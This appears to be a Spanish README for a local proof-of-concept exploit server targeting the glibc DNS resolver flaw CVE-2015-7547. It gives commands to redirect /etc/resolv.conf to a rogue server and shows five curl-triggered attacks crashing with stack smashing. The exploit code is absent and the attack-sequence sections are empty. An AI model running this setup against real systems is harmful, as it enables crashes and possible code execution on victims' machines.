
Servidor de exploit PoC para CVE-2015-7547
Para probar en una máquina local con una versión vulnerable de glibc:
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/# sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
A continuación, desde otra sesión de terminal, ejecute los ataques como se muestra en los ejemplos siguientes.
Requiere la capacidad de enviar respuestas de más de 2048 bytes por UDP y por TCP.
Secuencia del ataque:
Ejemplo:
user@localhost:/# curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requiere la capacidad de enviar respuestas de más de 2048 bytes por UDP.
Secuencia del ataque:
Ejemplo:
user@localhost:/# curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requiere la capacidad de enviar respuestas de más de 1024 bytes por UDP y de más de 2048 bytes por TCP.
Secuencia del ataque:
Ejemplo:
user@localhost:/# curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requiere la capacidad de enviar respuestas de más de 2048 bytes por UDP.
Secuencia del ataque:
Ejemplo:
user@localhost:/# curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requiere la capacidad de enviar respuestas de más de 2048 bytes por TCP y al menos dos entradas de nameserver en /etc/resolv.conf.
Secuencia del ataque:
Ejemplo:
user@localhost:/# curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)